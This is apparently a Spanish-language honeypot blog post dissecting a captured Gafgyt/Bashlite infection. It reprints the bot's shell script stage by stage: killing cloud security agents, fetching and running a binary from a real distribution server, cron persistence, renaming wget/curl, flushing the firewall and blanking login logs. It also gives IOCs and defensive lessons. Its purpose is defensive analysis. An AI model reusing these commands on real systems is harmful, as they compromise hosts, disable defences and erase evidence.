Gafgyt / Bashlite · Capítulo 1

Alguien me trajo su malware a casa

Tengo un honeypot en algún rincón de la red. La mayoría es ruido: escáneres que miran y se van. Hasta que uno entró, se creyó administrador, y me subió su bicho por la puerta de servicio.

Un honeypot es un señuelo: una máquina que finge ser vulnerable para que la ataquen y así ver qué intentan y cómo. La mía lleva días recibiendo el tráfico de fondo de internet — decenas de miles de sondas al día, casi todas automáticas y sin gracia: "¿tienes el puerto abierto? ¿te has dejado el .env a la vista?". Miran y siguen.

Pero un cebo bien puesto no solo cuenta cuántos llaman a la puerta. De vez en cuando, uno entra — y ahí empieza lo interesante. Esto es la disección de uno de esos: desde el login hasta el binario, pasando por el guion de infección, que es una pequeña obra de artesanía sucia.

01La captura

El cebo de SSH acepta contraseñas débiles a propósito (para eso está). El atacante no era una persona tecleando: era un bot, y su secuencia fue mecánica y veloz.

  1. 00:00.0Conecta al puerto 22 y prueba root : ubnt — la contraseña por defecto de los equipos Ubiquiti. El cebo le abre.
  2. 00:01.2No saluda, no explora. Pega de golpe un script de shell de ~50 líneas y lo ejecuta.
  3. 00:61.0Como el wget no le funcionó en el cebo, sube el binario directamente por SFTP — con un nombre aleatorio, skhqwensw — y trata de lanzarlo (/bin/skhqwensw). Falla (el cebo no ejecuta de verdad), pero la muestra ya es mía.
Por qué un nombre de galimatíasEl binario llega como skhqwensw — teclas al azar. No es descuido: cada infección usa un nombre distinto y aleatorio. Así las reglas de detección o los bloqueos por nombre de fichero no valen, y dos máquinas infectadas nunca comparten el mismo rastro en disco. Evasión barata pero efectiva — y la razón de que el hash (que es estable) sea la forma correcta de identificarlo, no el nombre.

Ese script pegado en el segundo 1 es el corazón de todo. Vamos línea por línea.

02El script, al desnudo

Un solo comando de shell que hace de todo: busca dónde instalarse, ciega la seguridad de la máquina, descarga su binario según la arquitectura, sabotea a la competencia y borra sus huellas. Lo he formateado para poder leerlo, pero la lógica es tal cual.

A

Buscar un sitio donde escribir y ejecutar

No le vale cualquier carpeta: muchas máquinas montan /tmp como noexec. Así que prueba varias y comprueba que puede ejecutar de verdad, no solo escribir.

stage-A · working dir
# prueba /dev/shm, /tmp, /var/tmp, /home, /root
for i in "/dev/shm" "/tmp" "/var/tmp" "/home" "/root"; do
    touch "$i/test_exec"; chmod +x "$i/test_exec"
    if [ -w "$i" ] && [ -x "$i/test_exec" ]; then
        wdir="$i"; rm -f "$i/test_exec"; break
    fi
done; cd "$wdir" || exit 1
B

Cegar los agentes de la nube (china)

Aquí se retrata el objetivo: mata los agentes de seguridad de Alibaba Cloud (aegis/AliYunDun) y Tencent Cloud (YDService/tat_agent). Va a por servidores en la nube china y apaga su vigilancia para minar/atacar sin que salte ninguna alarma ni el aviso de consumo.

stage-B · blind the watchers
for svc in aegis aliyun YDService tat_agent; do
    systemctl stop $svc; systemctl disable $svc; systemctl mask $svc
done
chattr -R -i -a /usr/local/aegis/   # quita el flag inmutable...
chattr -R -i -a /usr/local/qcloud/  # ...para poder borrarlos
pkill -9 AliYunDun; pkill -9 YDService
rm -rf /usr/local/aegis /usr/local/qcloud
C

Descargar el binario según la arquitectura

Le pasa uname -m a su propio servidor, que devuelve el binario correcto para esa CPU (x86, ARM, MIPS…). Y prueba seis métodos en cascada para no fallar — incluidos good y cool, que son sus propios wget/curl renombrados (ver stage E).

stage-C · arch-aware pull
arch=$(uname -m)
url="http://169.239.130.20/new.php?type=${arch}"

# intenta en orden hasta que uno traiga el fichero:
wget   -q -T 30 "$url" -O new.txt  ||
curl -skL -m 30 "$url" -o new.txt  ||
good   -q -T 30 "$url" -O new.txt  ||   # = su wget renombrado
cool -skL -m 30 "$url" -o new.txt  ||   # = su curl renombrado
python3 -c "import urllib.request;urllib.request.urlretrieve('$url','new.txt')" ||
python  -c "import urllib;urllib.urlretrieve('$url','new.txt')"

chmod +x new.txt
setsid "./new.txt" &   # setsid = sobrevive al cierre de sesión

Tres matices de esta fase de infección: setsid desprende el proceso de la sesión SSH, así que sigue vivo aunque el atacante cierre la conexión; si el fichero no arranca como binario, lo reintenta como script (sh ./new.txt); y cuando ningún método de descarga funciona —como en mi cebo, que no tiene un wget real— tiene un plan B: empujar el binario él mismo por SFTP. Ese último recurso es, irónicamente, lo que me regaló la muestra. Antes de todo esto comprueba además un "cerrojo" (/var/run/gcc.pid): si ya se está ejecutando, no se reinfecta.

D

Persistencia disfrazada de "gcc"

Para sobrevivir a reinicios se clava un cron cada 3 minutos y se instala como servicio de arranque. Usa el nombre gcc como tapadera — un rasgo clásico de la familia Gafgyt.

stage-D · persistence
echo '*/3 * * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab
# + se copia como init.d / rc.d (chkconfig, update-rc.d)
E

Sabotear a la competencia

El truco más listo del guion: renombra wgetgood y curlcool. A partir de ahí, cualquier otra botnet que intente wget http://… para infectar la misma caja falla — pero este bot sigue descargando con los nombres nuevos. Territorio marcado.

stage-E · lock out rivals
mv $(which wget) $(dirname $(which wget))/good
mv $(which curl) $(dirname $(which curl))/cool
F

Bajar el puente levadizo y borrar las huellas

Primero desarma la defensa: para firewalld/ufw y hace iptables -F (vacía todas las reglas), para que nada estorbe la conversación con el C2. Después limpia su rastro de acceso.

stage-F · anti-forensics
systemctl stop firewalld ufw; iptables -F   # cae el cortafuegos
for log in /var/log/wtmp /var/log/btmp /var/log/lastlog; do
    echo > "$log"   # VACÍA el fichero (no lo borra)
done

Cada uno de esos tres ficheros es una libreta de accesos al sistema, y borrarlos ciega las herramientas con las que un administrador miraría "¿quién ha entrado?":

  • /var/log/wtmp — los logins correctos (es lo que lee el comando last).
  • /var/log/btmp — los logins fallidos (lastb).
  • /var/log/lastlog — el último acceso de cada usuario.

El detalle fino: usa echo > fichero, que lo vacía, en vez de rm, que lo borraría. ¿Por qué? Borrar el fichero rompería el registro y llamaría la atención; dejarlo existente pero en blanco es más sutil. Tras esto, un last del admin no devuelve nada: como si nadie hubiera entrado nunca. Lo que no toca este script es /var/log/auth.log — un despiste suyo que dejaría rastro del SSH.

Su punto ciego — y mi red de seguridadTodo este borrado solo alcanza los logs de la propia máquina. Y sobre todo, no puede tocar lo que se registra fuera de la caja: mi cebo manda cada evento a un almacén aparte, en tiempo real. Así que mientras el bot creía estar borrando sus huellas, yo ya tenía copia de todo. El registro fuera de banda derrota al anti-forense local — es, de hecho, la lección más útil de todo el incidente.
Lo que dice de su autorNinguna de estas líneas es genial por sí sola — son técnicas conocidas y copiadas. Pero juntas revelan a alguien que sabe que existen los /tmp noexec, los agentes de la nube y las botnets rivales. No es un genio; es un profesional del copy-paste con oficio.

03El espécimen

El binario que subió por SFTP. Análisis estático — nunca se ejecuta; solo se lee.

ESPÉCIMEN 001 · ELF

Gafgyt / Bashlite

◈ VIVO · NO EJECUTAR
Tipo
ELF 32-bit i386 · estático · stripped
Tamaño
114.144 bytes
Empaquetado
no (UPX descartado)
Compilado con
Alpine clang 17.0.6 / LLD 17.0.6
Función
bot DDoS (flood HTTP)
C2
cifrado (tabla XOR)
SHA-256
6f45c6d9c70d97f695cb7bbef362812a17f8ed4d37dafc342c26c86ed9b43638

Dentro, entre las strings, está todo el ADN de un bot de denegación de servicio: plantillas de GET/POST HTTP para flood (con un User-Agent chino falso), su configuración de C2 escondida tras una tabla XOR, y las rutas de persistencia gcc.sh que ya vimos en el script. La huella Alpine + clang es poco común y sirve para agrupar futuras muestras del mismo autor.

Regla de la casaEl binario no se publica — pero el hash sí: es ese SHA-256 completo de la ficha de arriba. Con él, cualquiera identifica la muestra y la busca en VirusTotal o MalwareBazaar sin que yo tenga que repartir el bicho. Compartir el hash es divulgar; repartir el binario es propagar. La primera línea de esta bitácora.

04¿Quién había detrás?

Solo inteligencia pasiva — bases de datos de terceros que ya conocen esas IPs. En ningún momento se toca la máquina del atacante: eso ya sería cruzar al otro lado.

Dos servidores, los dos en hosting "offshore" tolerante al abuso (VPS baratos y desechables, no víctimas inocentes). Y un detalle que enseña mucho: el servidor C2 es invisible para los feeds de reputación por escaneo (GreyNoise "no lo ha observado") — porque un C2 no escanea, se queda quieto esperando a sus bots. Mi honeypot lo pilló con las manos en la masa; las bases de datos globales, ni se enteran. Moraleja: hacen falta varias fuentes.

Cabo suelto · continuaráQueda una pieza sin abrir: el C2 del bot DDoS vive dentro del binario, pero cifrado con esa tabla XOR — y no ha caído con los métodos rápidos. Recuperarlo ya es ingeniería inversa de verdad: abrir el ELF con Ghidra, localizar la rutina que lo descifra y sacarle el algoritmo. Eso merece capítulo propio — cómo un analista recupera una configuración oculta, puro oficio defensivo y sin rozar la parte de ataque. Lo destripo en la próxima entrega.

05Indicadores (IOCs)

Indicadores de esta captura — listos para bloquear, buscar o reportar.

TipoValor
SHA-2566f45c6d9c70d97f695cb7bbef362812a17f8ed4d37dafc342c26c86ed9b43638
C2 / distribuciónhttp://169.239.130.20/new.php
Credencialroot : ubnt (default Ubiquiti)
Persistencia/etc/cron.hourly/gcc.sh · /var/run/gcc.pid · cron */3
Renombradoswget→good · curl→cool
Huella de buildAlpine clang 17.0.6 / LLD 17.0.6

06Lo que me llevo

  • El 95% es ruido. Escaneo automático que ni comprueba si eres vulnerable. La intrusión de verdad es la minoría que supera ese filtro.
  • La higiene básica gana. Todo esto entra por root:ubnt. Una contraseña decente y no exponer lo que no toca derrota a la inmensa mayoría de estos ataques.
  • La captura es efímera. El cebo no guarda las muestras de forma fiable: si no la copias a un almacén durable al instante, la pierdes. (A mí casi me pasa.)
  • Mira siempre con varias fuentes. Un C2 activo puede ser invisible para media internet mientras opera tan tranquilo.

Continuará — el C2 de este bicho sigue cifrado en el binario; lo destripo con Ghidra en la próxima entrega. Y el cebo sigue encendido, esperando al siguiente. 🍯

Comentarios